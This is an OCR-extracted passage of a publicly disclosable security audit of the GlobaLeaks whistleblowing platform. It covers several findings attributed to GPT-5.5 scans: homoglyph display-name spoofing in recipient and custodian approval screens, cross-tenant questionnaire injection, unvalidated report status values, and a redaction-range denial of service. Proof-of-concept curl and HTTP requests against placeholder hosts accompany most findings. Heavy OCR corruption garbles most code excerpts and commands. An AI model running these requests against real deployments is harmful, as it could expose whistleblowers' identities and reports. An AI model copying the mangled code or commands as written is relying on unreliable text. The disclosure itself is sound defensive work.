Security-sensitive recipient selectors should make visually confusable identities distinguishable, for example by
displaying a stable username, verified email address, role-specific identifier, or normalized/confusable warning
alongside the display name.

Actual result

The selector shows only the mutable display name, so a malicious recipient can make their entry visually

indistinguishable from another recipient and receive report access when the victim selects the wrong row.

Impact

Thisis an insu cient visual distinction of homoglyphs in a security-sensitive Ul. The attack allows a malicious
recipient to trick another recipient into granting or transferring access to a whistleblower report to the attacker.
The resulting access can expose report contents, comments, attachments, workflow metadata, and other
recipient-visible data depending on the report and tenant configuration.

Impacted users or systems:

e Recipients who can grant, revoke, or transfer access to reports.

e Reporting users whose reports may be exposed to an unintended recipient.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

CWE-1007 ) Insu cient Visual Distinction of Homoglyphs Presented to User
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8.3 F-103 - Custodian identity-access
approval Ul lacks stable recipient identifier

A malicious recipient can spoof another recipient's display nhame and induce a custodian to disclose the
whistleblower's identity to the wrong person.

IMPACT COMPONENT FOUND BY
Identity disclosure Client GPT-5.5 xhigh via
run_codex_cwe_line v2

Custodian identity-access requests identify the requesting recipient only by the recipient-controlled display
name. A malicious recipient can rename themselves to a visually identical or confusable version of another
recipient's name, then request access to a reporting person's identity. The custodian approval Ul submits the
hidden request ID, so the custodian can unintentionally authorize disclosure of the whistleblower identity to the
malicious recipient.

Details

A ected source code, component, endpoint, or function:

client/app/src/shared/ partial s/ preference-tabs/ preference-tabl/ preference-

tabl. conponent . ht m

backend/ gl obal eaks/ handl ers/user/__init__.py

backend/ gl obal eaks/ nmodel s/ seri al i zers. py, serialize_identityaccessrequest ()
client/app/ src/pages/ custodi an/i dentity-access-requests/identity-access-

request s. conponent . ht ni

client/app/ src/ pages/ cust odi an/i dentity-access-requests/identity-access-
requests. conponent . ts

backend/ gl obal eaks/ handl ers/ custodi an/ __init__.py, update_identityaccessrequest()
PUT /api / cust odi an/i ars/ <i denti t yaccessrequest _i d>

Description:

Recipients can edit their own display name in preferences. The backend stores that value on the user object
without a uniqueness, stable-identifier, or confusable-character constraint.

When a recipient requests access to a reporting person's identity, the identity-access serializer exposes only
request _user _nane for the requester. That value is request _user. nane , the same mutable display name. The

custodian request table displays i ar. request _user_nane as the only requester identifier next to the report
metadata and puts the Authorize button on the same row. It does not show the stable username, email
address, UUID, or a confusable-name warning.

Because recipient behavior is in scope, a malicious recipient can change their display name to a visually
confusable version of another recipient's name before filing an identity-access request. A custodian who relies on
the table can approve the wrong request. The client then sends the hidden identity-access request UUID to PUT
/api / cust odi an/ i ars/ 0 , and the backend marks that request authorized. The authorized state lets recipients
view the reporting person's identity in the report workflow.

This is distinct from the previously filed recipient grant/transfer dialog issue: the confused actor here is a
custodian, the Ul is the identity-access request table, and the security-sensitive action is authorizing disclosure of
a whistleblower identity.

Page 95 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



ISGroup SRL
Via Cantarane, 14
37129 Verona (VR)
. . PIVA IT 04164220230
Information Security REA VR-397513

Labeling PUBLIC Date 30/07/2026 Author ISGroup

Edition 01 Revision 01 Distribution Public disclosure permitted

Relevant code:

client/app/src/shared/ partial s/ preference-tabs/ preference-tabl/ preference-
tabl. conponent . ht m

31: @f (editingNanme) {

32: <i nput id="pref-nane-input" class="formcontrol" nanme="nane"

[ (ngMbdel )] =" pr ef er enceResol ver . dat aMbdel . nane" type="text" required />
33}

backend/ gl obal eaks/ handl ers/user/_init__.py
139: user.language = request.get('language', State.tenants[tid].cache.defaul t_| ang
uage)

140: user.nanme = request[' nane']
141: user.public_name = request[' public_nane'] or request[' name']

backend/ gl obal eaks/ nodel s/ seri al i zers. py

69: def serialize_identityaccessrequest(session, identityaccessrequest):

70: Internal TipAlias = aliased(nodel s. | nternal Tip)

71: WserAli as = al i ased(nodel s. User)

72:

73: itip, request_user = session.query(lnternal TipAlias, UserAlias) \

74: .join(UserAlias, UserAlias.id == identityaccessrequest.request_user_id
)\

75: .filter(Internal TipAlias.id == identityaccessrequest.internaltip_id) \
76: .one()

82: return {

83: “id: identityaccessrequest.id,

84: ‘internaltip_id : identityaccessrequest.internaltip_id,

85: ‘request _date': identityaccessrequest.request_date,

86: ' request _user_nane' : request_user. nane,

client/app/ src/pages/ custodi an/i dentity-access-requests/identity-access-
request s. conponent . ht ni

34: @or (iar of iarResolver.datalbdel; track iar; let index = $index) {
35: <tr id="iar-{{index}}">

36: <td>{{iar.request_date | date:'dd-Miyyyy Ht mm}}</td>
37: <td>{{i ar. submi ssi on_progressi ve}}</td>

38: <td>{{iar.subnmission_date | date:'dd-Miyyyy Htmm}}</td>
39: <td>{{i ar.request_user_nane}}</td>

524 <button class="btn btn-smbtn-prinary" id="authorize"
(click)="aut horizel dentityAccessRequest (iar.id)">

53: {{ 'Authorize' | translate }}

54: </ but t on>

client/app/ src/ pages/ custodi an/i dentity-access-requests/identity-access-
request s. conponent . ts

26: authorizel dentityAccessRequest (iar_id: string) {

27: this. httpService. authorizeldentity("api/custodian/iars/" + iar_id, {
28: "reply": "authorized",

29: “reply_notivation": ""

30: }) . subscri be(
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backend/ gl obal eaks/ handl ers/ custodian/ __init__.py

84: def update_identityaccessrequest(session, tid, user_id,
i dentityaccessrequest_id, request):

85: iar, iarc, itip = session.query(nodels.|dentityAccessRequest,

nodel s. | denti t yAccessRequest Qust odi an, nodel s. I nternal Tip) \

86: .filter(nodel s.|dentityAccessRequest.id ==

i dentityaccessrequest_id,

87: nodel s. | denti t yAccessRequest Qust odi an. i de
ntityaccessrequest _i d == nodel s. | dentityAccessRequest.id,

88: nodel s. | denti t yAccessRequest Cust odi an. cus
todian_id == user_id,

89: nodel s. Internal Tip.id ==

nodel s. | denti t yAccessRequest . internal tip_id).one()

94: if iar.reply == 'pending':

95: iar.reply_date = datetine_now()

96: iar.reply_user_id = user_id

97: iar.reply = request['reply']

100: if request['reply'] == "authorized :

101: db_l og(session, tid=tid, type="authorize_identity_access',

user _id=user_id, object_id=itip.id)

PoC

Steps to reproduce

1. Configure a tenant with custodians enabled and a questionnaire that collects the reporting person's identity.
Create two recipient accounts whose real-world identities a custodian can distinguish, for example Bob and
Mal | ory , and create a report containing whistleblower identity data.

The report nust be assigned so Mallory can open it as a recipient and file an
identity-access request.

2. As Mallory, open preferences and change the Nane field to a visually confusable version of Bob's name, for
example by replacing a Latin character with a Cyrillic homoglyph, or to the exact same display name if duplicates
are accepted.

Bob -> Bob

3. As Mallory, open the report and request access to the reporting person's identity.

curl -X POST \
-H ' x-session: <nallory-recipient-session> \
-H 'content-type: application/json \
--data '{"request_notivation":"need to verify identity"}' \
"https://<tenant-host>/ api/recipient/rtips/<internaltip_id>iars'

4. As a custodian, open the identity-access requests page.

The requester colum displays only “iar.request_user_nane’, so the pending request
appears to cone fromthe confusabl e recipient nane.

5. As the custodian, click Aut hori ze on that row.
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curl -X PUT \

-H ' x-session: <custodi an-sessi on>' \

-H 'content-type: application/json \

--data "{"reply":"authorized", "reply_notivation":""}"' \
"https://<tenant-host>/api/custodian/iars/<nallory-iar-id>'

Expected result

The identity-access approval Ul should make the requesting recipient visually distinguishable before a custodian
authorizes whistleblower identity disclosure. It should show a stable username, verified email address, role-
specific identifier, UUID fragment, or a normalized/confusable warning alongside the mutable display name.

Actual result

The custodian Ul shows only the mutable display name for the requester. A malicious recipient can make their
request look like another recipient's request and cause a custodian to authorize the wrong identity-access
request.

Impact

Thisis insu cient visual distinction of homoglyphs in a security-sensitive Ul. A malicious recipient can socially
engineer a custodian into authorizing access to a reporting person's identity for the wrong recipient. The disclosed
identity is among the most sensitive data handled by a whistleblowing platform.

Impacted users or systems:

e Custodians reviewing identity-access requests.
e Reporting users who provided identity information on reports accessible to a malicious recipient.

o Deployments that rely on custodians to mediate recipient access to whistleblower identity data.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

Insu cient Visual Distinction of Homoglyphs Presented to User
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8.4 F-105 - Whistleblower recipient-
selection cards show only mutable public names

A whistleblower can be misled into routing a report to a malicious recipient whose public name imitates a trusted
one.

IMPACT COMPONENT FOUND BY
Report data exposure Client GPT-5.5 xhigh via
run_codex_cwe_line v2

The public report-submission recipient-selection Ul identifies recipients only by their recipient-controlled public
display name. A malicious recipient can change that public name to a visually confusable or duplicate version of
another recipient name, causing a whistleblower to select the malicious recipient when choosing who should
receive a new report. The client submits the hidden recipient UUID, so the backend routes the report to the
attacker-selected account.

Details

A ected source code, component, endpoint, or function:

client/app/src/shared/ partial s/ preference-tabs/ preference-tabl/ preference-
tabl. conponent . ht m

backend/ gl obal eaks/ handl ers/user/__init__.py

backend/ gl obal eaks/ handl er s/ publ i c. py

client/app/ src/pages/ whi st ebl ower/recei ver-card/ recei ver - card. conponent . ht m
client/app/ src/ pages/ whi st | ebl ower/recei ver-sel ecti on/recei ver -

sel ecti on. conponent . ht n

client/app/ src/services/ hel per/subni ssion. service.ts

backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py

Description:

Recipients can edit their own publ i c_name in the user preferences form. The backend stores that value without
adding a stable public discriminator and /api/ public serializes it as the recipient name shown to
unauthenticated whistleblowers.

When a context allows whistleblowers to choose recipients, the submission Ul renders each selectable recipient
card with only recei ver Model . nane as the textual identity. The checkbox nane and submitted value are the
hidden recipient UUID. The Ul does not show a stable username, verified address, recipient code,
normalized/confusable warning, or any other non-confusable identifier that lets the whistleblower distinguish
visually identical public names.

A malicious recipient can therefore set a public name using homoglyphs, zero-width characters, or an exact
duplicate of another recipient name. A whistleblower who intends to send a report to the legitimate recipient can
select the attacker-controlled card. The submission service then posts that selected UUID in the recei vers
array, and the backend creates a Recei verTi p for the selected recipient.

Relevant code:
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client/app/src/shared/ partial s/ preference-tabs/ preference-tabl/ preference-
tabl. conponent . ht m

36: <l abel for="pref-public-nane-input">
37: <span>{{' Publ i c nane' |transl ate}}</span> </|abel >

ISGroup SRL
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PIVA IT 04164220230
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49: <input id="pref-public-name-input" class="formcontrol" nane="public_name"
[ (ngModel )] =" pr ef er enceResol ver . dat aMbdel . publ i c_narme" type="text" required />

backend/ gl obal eaks/ handl ers/user/__init__.py

139: user.|anguage = request.get ('l anguage', State.tenants[tid].cache. defaul t_| ang
uage)

140: user.nanme = request[' nane']

141: user.public_name = request[' public_nane'] or request[' name']

142: user.notification = request[' notification']

backend/ gl obal eaks/ handl er s/ publ i c. py

492: def serialize_receiver(session, user, |anguage, data=None):
503: ret ={

504: ‘id: user.id,

505: ‘nane' : user. public_nane,

506: ‘forceful l y_selected : user.forceful |l y_sel ected,
507: ‘picture': data['ings'].get(user.id, False)

508: }

client/app/ src/pages/ whi st ebl ower/recei ver - card/ recei ver - card. conponent . ht m

1: <div class="sel ect-card" [ngd ass]="

recei verMdel .id] || receiverMdel.forcefully_sel ected}">

' sel ect ed' : submi ssi on. sel ect ed_r ecei ver s[

5: <i nput type="checkbox" cl ass="bt n-checkbox form check-input" [id]=""recipient-

+ recei ver Model . id" [name] ="'recipient-' + receiverhdel.id"
[ (ngMbdel )] =" submi ssi on. sel ect ed_r ecei ver s[ r ecei ver Model . id] "
(change) ="swi t chSel ecti on(recei ver Model ) ">

6: }

7: <label [for]=""recipient-' + receiverhMdel.id"
class="title">{{recei ver Model . nane}}</| abel >

client/app/src/services/ hel per/subm ssion. service.ts

55: submt() {
56: thi s. submi ssi on. recei vers =

[1;

61: for (const key in this.selected receivers) {

62: if (Cbject.prototype. hasOmnProperty.call (this.selected_receivers,
{

63: this. submi ssi on. recei vers. push(key) ;

64: }

65: }

74: const _submi ssion_data = {
75: context _id: this.subm ssion.context_id,
76: recei vers: this. subm ssion.receivers,

key))
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backend/ gl obal eaks/ handl er s/ whi st | ebl ower/ submi ssi on. py

173: receivers =[]

174: for r in session.query(nodels. User).filter(nodels.User.tid == tid,
model s. User.id.in_(request['receivers']), nodels.User.role == "receiver'):

281: for user in receivers:

287: db_create_receivertip(session, user, itip, _tip_key)
PoC

Steps to reproduce

ISGroup SRL

Via Cantarane, 14
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REA VR-397513

ISGroup

Public disclosure permitted

1. Configure a tenant context with recipient selection enabled so whistleblowers can choose the recipients of a

new report.

Gontext setting: allowrecipients_selection = true

2. Create two recipient accounts in that tenant, for example Conpliance and Mllory .

Conpl i ance: legitimte intended report recipient. Mllory: malicious recipient

account.

3. As Mallory, open preferences and change Public nane to avisually confusable or duplicate version of the

legitimate recipient's public name.

Conpl i ance -> Conpl i ance

The example replaces the Latin o with Cyrillic o .

4. As an unauthenticated whistleblower, start a report in the context that allows recipient selection.

The reci pient-sel ection step di splays recipient cards using only the public name

string.

5. Select the card that appears to be Conpl i ance but is actually Mallory's hidden recipient UUID, then submit

the report.

The client posts the selected UUDin the “receivers array.

Expected result

The recipient-selection Ul should provide enough visual distinction for a whistleblower to verify a security-
sensitive recipient choice, for example by showing a stable recipient identifier, organization-controlled code,
verified address, or a warning/normalization for duplicate or confusable names.

Actual result

The public selection card shows only the recipient-controlled public display name. The submitted report is routed
to the hidden UUID behind the visually confusable card, allowing the malicious recipient to receive a report

intended for another recipient.
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Impact

Thisis insu cient visual distinction of homoglyphs in a security-sensitive Ul. A malicious recipient can induce a
whistleblower to route a new report to the attacker's recipient account, exposing the report contents,
attachments, follow-up messages, and workflow metadata to an unintended in-scope recipient. The issue a ects
deployments where whistleblowers are allowed to select recipients.

Impacted users or systems:
e Whistleblowers submitting reports in contexts with recipient selection enabled.
o Legitimate recipients whose names can be impersonated by another recipient's public display name.

e Report confidentiality and routing integrity for newly submitted reports.

CONFIDENTIALITY INTEGRITY AVAILABILITY
High Low None

CWE-1007 ) Insu cient Visual Distinction of Homoglyphs Presented to User
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8.5 F-109 - Tenant admin alters other
guestionnaires

A tenant administrator can move attacker-controlled questionnaire content into another tenant's workflow and
alter how victim reports are collected.

IMPACT COMPONENT FOUND BY
Cross-tenant workflow Backend GPT-5.5, xhigh reasoning, v3
tampering

The administrator step-update endpoint authorizes a step by checking the step's current questionnaire tenant,
but then accepts anew questionnaire_id from the request and writes it through the generic model updater

without validating that the new questionnaire belongs to the same tenant. A tenant administrator can create a
step and fields in their own tenant, then update the step to point at the root defaul t questionnaire or another

tenant's questionnaire. Public questionnaire serialization later includes the re-parented step and its fields for
victim tenants, allowing cross-tenant questionnaire and submission-workflow tampering.

Details

A ected source code, component, endpoint, or function:

PUT / api / adm n/ st eps/ <st ep-i d>

backend/ gl obal eaks/ handl er s/ adm n/ st ep. py: db_create_step(), db_update_step(),

St epl nst ance. put ()

backend/ gl obal eaks/ rest/requests. py: Adm nSt epDesc

backend/ gl obal eaks/ nodel s/ __init__.py: Mdel .update(), _Step

backend/ gl obal eaks/ handl ers/ publ i c. py: serialize_questionnaire(), serialize_step()

Description:

Step creation validates that the supplied questionnaire_id belongs to the requesting tenant. Step update does
not repeat that validation for the new questionnaire_id .Instead, db_update_step() authorizes only the
existing step through the step's current parent questionnaire, then calls st ep. updat e(request) .

The _Step modelhasno tid column.Its ownership is derived only through questionnaire_id ,and
_Step. uni code_keys includes questionnaire_id . Mdel.update() therefore persists any validated request
questionnaire_id directly on the existing step.

After the update, public and admin questionnaire serialization fetches steps only by Step. questionnaire_id ==
questionnaire.id .|t does not require the step's fields to belong to the victim tenant. A tenant administrator can
therefore move an attacker-controlled step into the root defaul t questionnaire, or into another tenant's
questionnaire if the target ID is known, and have that step rendered as part of the victim questionnaire.

This is not ordinary malicious-administrator self-configuration: the write crosses the tenant boundary and mutates
the e ective questionnaire presented to other tenants' whistleblowers.

Relevant code:
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backend!/ gl obal eaks/ handl er s/ adm n/ st ep. py

23
24
25
26
27
28
29

# Authorize: the questionnaire nust belong to the requesting tenant
db_get (sessi on,
nodel s. Questi onnai re,
(nodel s. Questionnaire.id == request[' questionnaire_id'],
nodel s. Questionnaire.tid == tid))

step = db_add(session, nodel s. Step, request)

backend/ gl obal eaks/ handl er s/ adm n/ st ep. py

53
54
55
56

nodel s.

57
58
59
60
61
62
63
64

step = db_get (session,
nodel s. Step,
(nodel s. Step.id == step_id,
nodel s. Questionnaire.id ==
Step. questionnaire_id,
nodel s. Questionnaire.tid == tid))

fill_localized keys(request, nodels.Step.|ocalized keys, |anguage)
st ep. updat e( r equest)

for child in request['children']:
db_update field(session, tid, child['id], child, |anguage)

backend/ gl obal eaks/ rest/requests. py

339 Adnmi nStepDesc = {

340
341
342
343
344
345
346
347
348 }

"id: uuid_regexp_or_enpty,

"label": str,

‘description': str,

‘children': [Adm nFiel dDesc],
‘questionnaire_id : key_regexp_or_enpty,
‘order': int,

‘triggered_by_score': int,

"triggered_by options': Iist

backend/ gl obal eaks/ nodel s/ __init__.py

119
120
125
126
127

if "id in values and values['id']:
setattr(self, "id, values['id])

for k in getattr(self, 'unicode_keys'):
if kin values and val ues[k] is not None:
setattr(sel f, k, val ues[k])

backend/ gl obal eaks/ nmodel s/ __init__.py

817 class _Step(Mdel):

818
819
820
821

827

__tablename__ = 'step'

id = Col um(Uni codeText (36), prinary_key=True, defaul t=uui d4)
questionnaire_id = Col unn( Uni codeText (36), nul | abl e=Fal se, i ndex=True)

uni code_keys = ['questionnaire_id']
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backend/ gl obal eaks/ handl er s/ publ i c. py

467 def serialize_questionnaire(session, tid, questionnaire, |anguage,
serialize_tenpl at es=Fal se):
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478 steps = session. query(nmodel s. Step).filter(nodels. Step. questionnaire_id ==

nodel s. Questionnaire.id,

479 nodel s. Questionnaire.id ==
questionnaire.id) \

480 . order _by(nodel s. St ep. order)

486 ‘steps': [serialize_step(session, tid, s, |anguage,

serialize_tenpl ates=serialize_tenplates) for s in steps]

backend/ gl obal eaks/ handl er s/ publ i c. py

437 def serialize_step(session, tid, step, |anguage, serialize_tenplates=Fal se):

448 children = session. query(nodels.Field).filter(nodels.Field. step_i

step.id)
455 ret = {
456 “id: step.id,
457 ‘questionnaire_id : step.questionnaire_id,
461 ‘children': children
462 }
PoC

Steps to reproduce

1. Use a multi-tenant deployment. As a non-root tenant administrator, create or identify a questionnaire step in the
attacker's own tenant. The step may contain attacker-controlled fields, labels, descriptions, options, and client-

side validation behavior.
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PCBT /t/<attacker-tenant - uui d>/ api / adm n/ steps HITP/ 1.1
X- Sessi on: <attacker -t enant - adni n- sessi on>
Cont ent - Type: appl i cation/json

{
tidtrott,
"questionnaire_id": "<attacker-questionnaire-id>",
“label ": "Injected section",
“description": "Injected by another tenant"”,
“order": 0,
“triggered by score": O,
“triggered_by options": [],
“children": [
{
tidrot
"type": "inputbox",
"instance": "instance",
“tenplate_id": ""
"tenpl ate_override_id": ""
"step_id": "",
“fieldgroup_id": ""
"label ": "Required injected question”,
“description": "This question cane fromanother tenant",
“hint": "",
"pl acehol der": "",
"mul ti_entry": false,
"required": true,
"attrs": {},
"options": [],
“children": [],
"x": 0,
"y": 0,
"width': 12,
"triggered_by_score": 0,
"triggered_by_options": []
}
|
}

2. Update that same step and set questionnaire_i d tothe rootshared default

ISGroup SRL

Via Cantarane, 14
37129 Verona (VR)
PIVA IT 04164220230
REA VR-397513

ISGroup

Public disclosure permitted

questionnaire, or to a known

questionnaire ID belonging to another tenant. Send an empty children listso db_update_step() does not call
db_updat e fiel d() afterthe step has been re-parented. Existing fields remain stored with Fiel d.step_id ==

0.

PUT /t/<attacker-tenant-uui d> api / adm n/ st eps/ <att acker -step-i d> HITP/ 1. 1
X-Sessi on: <attacker-tenant - adn n- sessi on>
Cont ent - Type: appl i cati on/json

{
"id": "<attacker-step-id>",
"questionnaire_id': "default",
“label ": "Injected section",
"description": "Injected by another tenant",
“order": O,
“triggered_by score": O,
“triggered_by options": [],
"children": []

3. As a user of a victim tenant whose context uses the root def aul t

questionnaire, request public resources or

start a submission. The serialized questionnaire includes the attacker's re-parented step and the fields still

associated with that step.

CET /t/<victimtenant-uui d> api/public HTTP/ 1.1
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Observed response excerpt:

{

“questionnaires": [

{
"id"': "default",
“steps": [
{
"id": "<attacker-step-id>",
"questionnaire_id": "default",
"l abel ": "Injected section",
“children": [
{
"id": "<attacker-field-id>",
"step_id": "<attacker-step-id>",
"l abel ": "Required injected question”,
"required": true

Expected result

Updating a step should reject any questionnaire_id thatis outside the requesting tenant's authorized
questionnaire set. If changing a step's parent questionnaire is supported, the backend should validate the new
parent before persisting it and should keep the step's fields, triggers, and options within the same tenant
boundary.

Actual result

PUT /api / adm n/ steps/ 0 validates only that the step currently belongs to the caller's tenant, then persists the
request-supplied questionnaire id through Mdel . update() .Public questionnaire serialization later includes
the re-parented step in the target questionnaire, crossing the tenant boundary.

Impact

This is a tenant-boundary integrity issue in questionnaire administration. A tenant administrator can persistently
alter the e ective questionnaire shown to other tenants' whistleblowers by injecting attacker-controlled steps and
fields into a root or victim questionnaire. The attacker may not directly read the victim's answers through this
primitive, but they can tamper with report-intake structure, add required prompts, misleading text, scoring
behavior, blocking options, or other client-side workflow controls that a ect reports created under the victim
tenant.

Impacted users or systems:

o Multi-tenant Globaleaks deployments where tenant administrators are not supposed to a ect other tenants.

e Tenants that use the root default questionnaire or whose questionnaire IDs are known to another tenant
administrator.

¢ Whistleblowers and recipients relying on the integrity of victim-tenant submission questionnaires.
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CONFIDENTIALITY INTEGRITY AVAILABILITY
None High Low

Authorization Bypass Through User-Controlled Key

Missing Authorization

CWE-915 ) Improperly Controlled Modification of Dynamically-Determined Object Attributes
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8.6 F-022 - Recipient report status update
accepts unconfigured status and substatus values

An authorized recipient can set a report's status or substatus to a value the administrator never configured
because the server does not validate it against the tenant's status list, potentially changing the report's workflow
and retention schedule.

IMPACT COMPONENT FOUND BY
Report workflow tampering Backend GPT-5.5 medium v1

The recipient report-status operation accepts status and substatus values from the client and writes them
to the report without verifying that the status exists for the tenant or that the substatus belongs to the selected
status. A recipient can use a direct API request to place a report in an administrator-unconfigured state or attach a
closing operation to an unrelated substatus, a ecting auditability and retention behavior.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl er s/ oper at i on. py: Qper at i onHandl er . put

backend/ gl obal eaks/ handl ers/reci pi ent/rtip. py: updat e_ti p_subm ssi on_st at us
backend/ gl obal eaks/ handl ers/ reci pi ent/rtip. py: db_updat e_subni ssi on_st at us

backend/ gl obal eaks/ handl ers/ reci pient/rtip. py:db_recal cul ate_data_retention
backend/ gl obal eaks/ nodel s/ __init__.py:_Internal Tip
client/app/src/pages/recipient/tip/tip.conponent.ts:Ti pConponent . prepar eSubm ssi on
St at uses

/api/recipient/rtips/<internaltip_uuid>

Description:

The recipient operation handler validates only that the request has an operation string and an args
dictionary. The updat e_status operation then passes args['status'] and args['substatus'] directlyto
updat e_tip_subm ssion_status() .

updat e_ti p_subm ssi on_stat us() verifies that the recipient has access to the report, but it does not validate
that the requested status exists in Submi ssi onSt at us for the tenant. It also does not validate that a requested
substatus exists, belongs to the tenant, or belongs to the requested status.

db_updat e_subni ssi on_stat us() then assigns the stringsto I nternal Ti p. status and
I nt ernal Ti p. subst at us . The model does not define foreign keys from Internal Ti p. status or
I nternal Ti p. substatus to the status tables, so the database does not reject invalid state values.

This bypasses the frontend, which builds selectable status/substatus pairs from the configured submission
statuses. It also a ects retention calculation: when a report is closed with any non-empty substatus string,
db_recal cul ate_data retention() looksup Submi ssionSubStatus.tip_tinetolive bysubstatusID alone.

The lookup is not scoped to the tenant or to the selected parent status; if no row exists, the helper returns a
365 -day default. A recipient can therefore close a report with an invalid or unrelated substatus and avoid the

administrator-configured retention semantics for the intended closed status/substatus.
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The recipient already has authorized access to the report and is normally permitted to manage its status. The
issue is therefore relevant to a malicious or misbehaving recipient threat model and concerns validation of the
resulting workflow state, not acquisition of report access.

Relevant code:
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backend/ gl obal eaks/ handl er s/ oper at i on. py

14 def put(self, *args, **kwargs):
15 request = sel f.validate_request(self.request.content.read(),
request s. (psDesc)

20 func = sel f.operation_descriptors().get(request['operation'], None)
21 if func:
22 return func(self, request['args'], *args, **kwargs)

backend/ gl obal eaks/ handl ers/reci pient/rtip. py

547 def update_tip_subm ssion_status(session, tid, user_id, rtip_id, status_id,
substatus_id):

559 _, rtip, itip = db_access_rtip(session, tid, user_id, rtip_id)

571 db_updat e_subnmi ssi on_status(session, tid, user_id, itip, status_id,
subst at us_i d)

228 def db_updat e_subm ssi on_status(session, tid, user_id, itip, status_id,
subst at us_i d=None) :

239 if status_id == 'new :

240 return

245 itip.status = status_id

246 itip. substatus = substatus_id or None

258 prev_expiration_date, currect_expiration_date =

db_recal cul ate_data_retention(session, itip, report_reopen_request)

188 def db_get_ttl (session, ormobject_nodel, ormobject_id):

198 .filter(ormobject_nodel.id == ormobject_id)

203 return row 0] if rowand row 0] is not None el se 365

207 def db_recal cul ate_data_retention(session, itip, report_reopen_request):

220 elif itip.status == "closed" and itip.substatus is not None:

221 ttl = db_get_ttl (session, nodels. Subm ssi onSubStatus, itip.substatus)
222 if ttl >0
223 itip.expiration_date = get_expiration(ttl)

backend/ gl obal eaks/ nodel s/ __init__.py

635 status = Col um( Uni codeText (36))
636 subst atus = Col unn( Uni codeText (36) )

647 return (UniqueConstraint('tid , 'progressive'),

648 Uni queConstraint('tid, 'receipt_hash'),

649 Forei gnKeyConstraint(['tid ], ["tenant.id'],

ondel et e=' CASCADE , deferrabl e=True, initially="DEFERRED ),

650 For ei gnKeyConstraint ([' context_id ], ['context.id],

deferrabl e=True, initially=" DEFERRED ))
client/app/src/pages/recipient/tip/tip.conponent.ts

310 for (const x of subCopy) {

311 if (x.substatuses.length) {

312 for (const y of x.substatuses) {
313 out put . push({

314 id C${x.id}:${y.id}",

315 label: (x.label ? this.translateService.instant(x.label) : '") +"'
- ' +y.label,

316 status: x.id,

317 substatus: y.id,

318 order: output.length,

319 N

320 }

321 } else {

322 X.status = x.id;

Page 111 of 400

All rights reserved ISGroup Sr.l. - www.isgroup.biz - Made in Italy



|SGroup

Information Security

Labeling PUBLIC Date 30/07/2026
Edition 01 Revision 01

323 X.substatus = "";

324 Xx.order = output.|ength;

325 out put . push(x) ;
PoC
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ISGroup

Public disclosure permitted

Steps to reproduce

1. Configure case management so the closed status uses administrator-defined substatuses for retention, for

example a closed substatus with a short tip_tinetolive .

Status: cl osed
Subst at us: CLCSED_SHORT_RETENTI ON_WJ D
tip_tinetolive: 7

2. Log in as a recipient who can access a report and note the report UUID.

curl -s "https://TARGET/ api/recipient/rtips" \
-H ' x-session: REQ PlI ENT_SESSI ON

3. Close the report with an invalid substatus value instead of one of the configured closed substatuses.

curl -i -X PUT 'https://TARGET/ api/recipient/rtips/ REPCRT_UWJUD \

-H ' x-session: REQPIENT_SESSION \
-H 'content-type: application/json \
--data '{
“operation":"update_status",
"args":{
"status":"cl osed",
"subst at us": " aaaaaaaa- aaaa- aaaa- aaaa- aaaaaaaaaaaa”
}
b

4. Fetch the report again.

curl -s "https:// TARGET/ api/recipient/rtips/ REPCRT_UWJ D \

-H ' x-session: REQ Pl ENT_SESSI ON

Expected result

The backend should reject any status that does not exist for the tenant and should reject any substatus that does
not exist under the selected status. A closed report should only use retention settings associated with a valid

closed substatus or with an explicitly defined safe default.

Actual result

The backend accepts the arbitrary substatus string, stores it on the report, and recalculates retention using a
substatus lookup by ID alone. If the ID does not exist, the lookup returns the helper's 365-day default rather than

rejecting the invalid transition.

Impact

An authorized recipient can place a report in an administrator-unconfigured workflow state and cause its retention
handling to diverge from the intended status or substatus policy. This does not disclose the report to a new party
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or provide access to additional reports, so no direct confidentiality impact is established. The unauthorized state
transition has a moderate integrity impact, while the retention divergence creates a limited availability
consequence for the report lifecycle.

Impacted users or systems:

e Tenants relying on case-management statuses and substatuses for report lifecycle, auditability, retention, or
compliance workflows.

e Reporting users whose submitted report data should be deleted or retained according to administrator-
defined closed-status retention rules.

CONFIDENTIALITY INTEGRITY AVAILABILITY
None Medium Low

CWE-285 ) Improper Authorization
CWE-841 ) |mproper Enforcement of Behavioral Workflow
CWE-20 ) Improper Input Validation
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8.7 F-039 - Redaction ranges exhaust report
views

A malicious recipient with masking privileges can make a shared report expensive or unavailable for other
recipients, and can break encrypted report exports for all recipients on that report. The attack is persistent
because the oversized range is stored in the database.

IMPACT COMPONENT FOUND BY

Report availability loss Backend GPT-5.5 Pro xhigh via
run_codex_cwe_line v2

The recipient redaction APl accepts raw redaction ranges without checking that end is within the length of the
referenced comment or answer. A recipient with masking privileges can store a valid integer range such as

{"start": 0, "end": 1000000000} for a one-character comment. Later report views for recipients without
masking/redaction privileges, and encrypted report exports for any recipient, call redact _content() and
allocate a replacement string/list sized from the attacker-controlled range rather than the actual content length.
The oversized range persists in the database, so the a ected report remains expensive or unavailable until the
redaction row is removed.

Details

A ected source code, component, endpoint, or function:

backend/ gl obal eaks/ handl ers/reci pient/rtip.py - RTi pRedactionCol | ection. post(),
create _redaction(), redact_content(), redact_report()

backend/ gl obal eaks/ handl er s/ reci pi ent/export.py - prepare_tip_export()

backend/ gl obal eaks/ nodel s/ __init__.py - _Redaction.tenporary_redaction

PCST / api / reci pi ent/redacti ons

CET /api/recipient/rtips/<report-id>

CET /api/recipient/rtips/<report-id>/ export

Description:

RTi pRedact i onCol | ecti on. post () reads the request body with json.|oads() and passes the raw dict to

create_redaction() without validate request() schemachecks. create_redaction() verifiesonly that
the caller has access to the report and can_nask_i nfor nati on , then stores data['tenporary_redaction']
directly in the Redaction JSON column.

The stored range is not checked against the referenced content length. When another recipient opens the report
without mask/redact privileges, RTi pl nstance. get() calls redact_report() .On encrypted reports,

prepare_tip_export() alsocalls redact _report(..., enforce=True) forexports, soeven recipients with
masking rights pay the redaction cost during export.

redact _content () converts the content to a list and then performs slice assignment with a replacement string
whose lengthis end - start .Python permits slice assignment past the end of the list, so arange [0,
1_000_000_000] on a one-character comment attempts to allocate roughly one billion replacement characters.
This is a valid integer range, so it is distinct from the existing malformed-range crash advisory: exploitation does
not depend on TypeError orinvalid JSON types.
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Relevant code:

